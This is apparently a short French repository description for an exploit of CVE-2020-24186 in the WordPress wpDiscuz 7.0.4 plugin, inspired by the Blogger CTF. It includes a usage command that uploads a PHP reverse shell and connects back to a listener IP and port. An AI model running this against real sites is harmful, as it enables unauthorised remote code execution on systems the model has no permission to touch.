substing/cve-2020-24186_reverse_shell_uploadExploit pour CVE-2020-24186 dans WordPress wpDiscuz 7.0.4 qui téléverse un shell PHP inversé pour l'exécution de code à distance.
Exploit pour WpDiscuz 7.0.4 basé sur l'exploit écrit par h3v0x.
Exploite la vulnérabilité et téléverse un reverse shell PHP. L'inspiration était le Blogger CTF.
exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001
Exemple d'utilisation :
